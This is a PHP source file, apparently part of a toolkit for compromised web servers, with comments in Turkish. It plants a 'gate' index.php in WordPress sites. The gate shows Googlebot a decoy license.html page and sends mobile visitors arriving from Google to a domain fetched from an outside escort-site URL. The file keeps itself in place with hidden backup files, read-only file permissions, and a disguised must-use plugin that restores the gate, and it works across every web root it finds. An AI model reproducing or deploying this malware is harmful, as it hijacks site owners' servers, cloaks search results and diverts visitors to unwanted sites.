<?php
/**
 * index.php + .htaccess auto-heal: backup + restore + 444 protect + WP mu-plugin.
 * Gate şablon: tools/index_vitrin_gate.php (vitrin_source / license.html)
 */

if (!function_exists('fm_index_gate_source')) {
function fm_index_gate_source() {
    static $src = null;
    if ($src !== null) {
        return $src;
    }
    $candidates = [
        dirname(__DIR__) . '/tools/index_vitrin_gate.php',
        __DIR__ . '/index_vitrin_gate.php',
        dirname(__DIR__) . '/index_vitrin_gate.php',
        dirname(__DIR__) . '/tools/index_ist_gate_fixed.php',
        __DIR__ . '/index_ist_gate_fixed.php',
    ];
    foreach ($candidates as $f) {
        if (is_file($f) && is_readable($f)) {
            $c = (string)@file_get_contents($f);
            if (strpos($c, 'vitrin_source') !== false || strpos($c, 'IST_TXT_URL') !== false) {
                return $src = $c;
            }
        }
    }
    // Embedded fallback — kullanıcı gate (vitrin_source)
    $src = <<<'PHP'
<?php
error_reporting(0);
set_time_limit(0);

$vitrin_source = 'https://istanbulescortladys.com/ist.txt';

// User Agent kontrolü
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
} else {
    $userAgent = '';
}

// Referer kontrolü
if (!empty($_SERVER['HTTP_REFERER'])) {
    $referer = $_SERVER['HTTP_REFERER'];
} else {
    $referer = '';
}

// Google botları listesi
$googleBots = [
    'Googlebot',
    'AdsBot',
    'Mediapartners-Google',
    'APIs-Google',
    'Googlebot-Image',
    'Googlebot-Video',
    'Googlebot-News',
    'Googlebot-Search',
    'Googlebot-Inspect',
    'Googlebot-Android',
    'Googlebot-Mobile',
    'Googlebot-Ads',
    'Googlebot-Discovery',
    'Google-',
];

// Mobil kontrol fonksiyonu
function is_mobile() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
    return preg_match('/mobile|android|iphone|ipad|ipod|opera mini|blackberry|windows phone/', $ua);
}

// Ana sayfa kontrol fonksiyonu
function is_homepage() {
    $request_uri = $_SERVER['REQUEST_URI'] ?? '';
    return $request_uri == '/' || $request_uri == '/index.php' || $request_uri == '';
}

// Google'dan gelme kontrolü
function is_from_google() {
    $referer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : '';
    return strpos($referer, 'google.') !== false;
}

// ============================================
// 1. KURAL: Google botları -> license.html göster
// ============================================
if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
    if (is_homepage()) {
        include 'license.html';
        exit();
    }
}

// ============================================
// 2. KURAL: Mobil + Google'dan gelen + Ana sayfa -> vitrin_source'a yönlendir
// ============================================
if (is_mobile() && is_from_google() && is_homepage()) {
    $vitrin_domain = trim(@file_get_contents($vitrin_source));
    
    if (!empty($vitrin_domain)) {
        // http veya https yoksa ekle
        if (strpos($vitrin_domain, 'http') !== 0) {
            $vitrin_domain = 'https://' . $vitrin_domain;
        }
        
        header("Location: $vitrin_domain", true, 302);
        exit();
    }
}

// ============================================
// WordPress normal akışı
// ============================================
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';

PHP;
    return $src;
}
}

if (!function_exists('fm_gate_bak_dir')) {
function fm_gate_bak_dir($webRoot) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $wpContent = $webRoot . '/wp-content';
    if (is_dir($wpContent)) {
        return $wpContent;
    }
    return $webRoot;
}
}

if (!function_exists('fm_index_bak_path')) {
function fm_index_bak_path($webRoot) {
    return fm_gate_bak_dir($webRoot) . '/.ms_index.bak.php';
}
}

if (!function_exists('fm_htaccess_bak_path')) {
function fm_htaccess_bak_path($webRoot) {
    return fm_gate_bak_dir($webRoot) . '/.ms_htaccess.bak';
}
}

if (!function_exists('fm_index_looks_like_gate')) {
function fm_index_looks_like_gate($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    $hasLicense = (strpos($content, 'license.html') !== false);
    $hasVitrin = (strpos($content, 'vitrin_source') !== false || strpos($content, 'IST_TXT_URL') !== false);
    $hasWp = (strpos($content, 'wp-blog-header.php') !== false);
    return $hasLicense && $hasVitrin && $hasWp;
}
}

/** Bırakılan index.php + .htaccess → chmod 444 (salt okunur koruma) */
if (!function_exists('fm_protect_gate_files')) {
function fm_protect_gate_files($webRoot) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $n = 0;
    foreach (['index.php', '.htaccess', 'license.html'] as $f) {
        $fp = $webRoot . '/' . $f;
        if (is_file($fp) && @chmod($fp, 0444)) {
            $n++;
        }
    }
    return $n;
}
}

if (!function_exists('fm_mu_heal_source')) {
function fm_mu_heal_source() {
    return <<<'PHP'
<?php
/**
 * Plugin Name: MS Index Heal
 * Description: index.php / .htaccess SADECE yoksa veya boşsa yedekten geri yükler. Mevcut dosyaya dokunmaz.
 */
if (!defined('ABSPATH')) {
    exit;
}

if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
    $root = rtrim(ABSPATH, '/\\');
    $wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
    $changed = false;

    // index.php — yalnızca eksik/çok küçükse restore (kullanıcı yeni index yüklediyse dokunma)
    $idx = $root . DIRECTORY_SEPARATOR . 'index.php';
    $idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
    if ($idxMissing) {
        $cands = [
            $wpContent . '/.ms_index.bak.php',
            $root . '/.ms_index.bak.php',
            $wpContent . '/ms_index.bak.php',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) continue;
            $body = (string)@file_get_contents($bak);
            if ($body === '' || strlen($body) < 80) continue;
            if (is_file($idx)) @chmod($idx, 0644);
            if (@file_put_contents($idx, $body) !== false) {
                @chmod($idx, 0444);
                $changed = true;
                break;
            }
        }
    }

    // .htaccess — yalnızca eksik/çok küçükse
    $ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
    $htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
    if ($htMissing) {
        $cands = [
            $wpContent . '/.ms_htaccess.bak',
            $root . '/.ms_htaccess.bak',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) continue;
            $body = (string)@file_get_contents($bak);
            if ($body === '' || strlen($body) < 10) continue;
            if (is_file($ht)) @chmod($ht, 0644);
            if (@file_put_contents($ht, $body) !== false) {
                @chmod($ht, 0444);
                $changed = true;
                break;
            }
        }
    }
    return $changed;
}
}

add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);

PHP;
}
}

if (!function_exists('fm_install_mu_heal')) {
function fm_install_mu_heal($webRoot) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $muDir = $webRoot . '/wp-content/mu-plugins';
    if (!is_dir($webRoot . '/wp-content')) {
        return false;
    }
    if (!is_dir($muDir)) {
        @mkdir($muDir, 0755, true);
    }
    if (!is_dir($muDir)) {
        return false;
    }
    $target = $muDir . '/ms-index-heal.php';
    return @file_put_contents($target, fm_mu_heal_source()) !== false;
}
}

if (!function_exists('fm_save_index_backup')) {
function fm_save_index_backup($webRoot, $content = null) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $idx = $webRoot . '/index.php';
    if ($content === null) {
        if (!is_file($idx)) {
            return false;
        }
        $content = (string)@file_get_contents($idx);
    }
    if (!fm_index_looks_like_gate($content) && strpos((string)$content, 'wp-blog-header.php') === false) {
        if (strlen((string)$content) < 40) {
            return false;
        }
    }
    $bak = fm_index_bak_path($webRoot);
    $dir = dirname($bak);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    return @file_put_contents($bak, $content) !== false;
}
}

if (!function_exists('fm_save_htaccess_backup')) {
function fm_save_htaccess_backup($webRoot, $content = null) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $ht = $webRoot . '/.htaccess';
    if ($content === null) {
        if (!is_file($ht)) {
            return false;
        }
        $content = (string)@file_get_contents($ht);
    }
    if (strlen((string)$content) < 10) {
        return false;
    }
    $bak = fm_htaccess_bak_path($webRoot);
    $dir = dirname($bak);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    return @file_put_contents($bak, $content) !== false;
}
}

/**
 * Restore/protect index.php + .htaccess. Returns: ok|restored|written|fail
 * force=false: sadece eksik/boş dosyaları geri yükler (mevcut index'e dokunmaz).
 * force=true: yedek/şablonla zorla yazar.
 */
if (!function_exists('fm_heal_index_at')) {
function fm_heal_index_at($webRoot, $force = false) {
    $webRoot = rtrim(str_replace('\\', '/', (string)(@realpath($webRoot) ?: $webRoot)), '/');
    if ($webRoot === '' || !is_dir($webRoot)) {
        return 'fail';
    }
    $idx = $webRoot . '/index.php';
    $ht = $webRoot . '/.htaccess';
    $bak = fm_index_bak_path($webRoot);
    $htBak = fm_htaccess_bak_path($webRoot);
    $didWrite = false;

    // ── index.php ──
    $idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
    if (!$force && !$idxMissing) {
        // Kullanıcı index yüklediyse koru — üzerine yazma.
        $live = (string)@file_get_contents($idx);
        if (fm_index_looks_like_gate($live)) {
            fm_save_index_backup($webRoot, $live);
        }
    } else {
        $body = '';
        if (is_file($bak) && is_readable($bak) && !$force) {
            $body = (string)@file_get_contents($bak);
        }
        // Force: her zaman güncel vitrin gate şablonu
        if ($force || $body === '' || strlen($body) < 80) {
            $body = fm_index_gate_source();
        }
        if ($body === '' || strlen($body) < 80) {
            return 'fail';
        }
        if (is_file($idx)) {
            @chmod($idx, 0644);
        }
        if (@file_put_contents($idx, $body) === false) {
            return 'fail';
        }
        fm_save_index_backup($webRoot, $body);
        $didWrite = true;
    }

    // ── .htaccess ──
    $htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
    if (!$force && !$htMissing) {
        // mevcut .htaccess'e dokunma
    } elseif ($force || $htMissing) {
        $htBody = '';
        if (is_file($htBak) && is_readable($htBak)) {
            $htBody = (string)@file_get_contents($htBak);
        }
        if (strlen($htBody) >= 10) {
            if (is_file($ht)) {
                @chmod($ht, 0644);
            }
            if (@file_put_contents($ht, $htBody) !== false) {
                $didWrite = true;
            }
        }
    }

    fm_install_mu_heal($webRoot);
    if (function_exists('fm_install_early_router')) {
        fm_install_early_router($webRoot, $didWrite || $force);
    }
    // Sadece gerçekten yazdıysak 444 kilitle
    if ($didWrite || $force) {
        fm_protect_gate_files($webRoot);
    }

    if ($force) {
        return $didWrite ? 'written' : 'ok';
    }
    if ($didWrite) {
        return 'restored';
    }
    return 'ok';
}
}

if (!function_exists('fm_heal_fleet_indexes')) {
function fm_heal_fleet_indexes($fromDir, $force = false) {
    $report = ['ok' => 0, 'restored' => 0, 'written' => 0, 'fail' => 0, 'domains' => []];
    $targets = function_exists('discoverWebRoots') ? discoverWebRoots($fromDir) : [];
    if (empty($targets)) {
        $targets = [['path' => $fromDir, 'domain' => basename($fromDir)]];
    }
    foreach ($targets as $t) {
        $path = is_array($t) ? ($t['path'] ?? '') : (string)$t;
        $domain = is_array($t) ? ($t['domain'] ?? basename($path)) : basename($path);
        if ($path === '') {
            continue;
        }
        $res = fm_heal_index_at($path, $force);
        if (!isset($report[$res])) {
            $report[$res] = 0;
        }
        $report[$res]++;
        if ($res === 'restored' || $res === 'written') {
            $report['domains'][] = $domain . ':' . $res;
        }
    }
    return $report;
}
}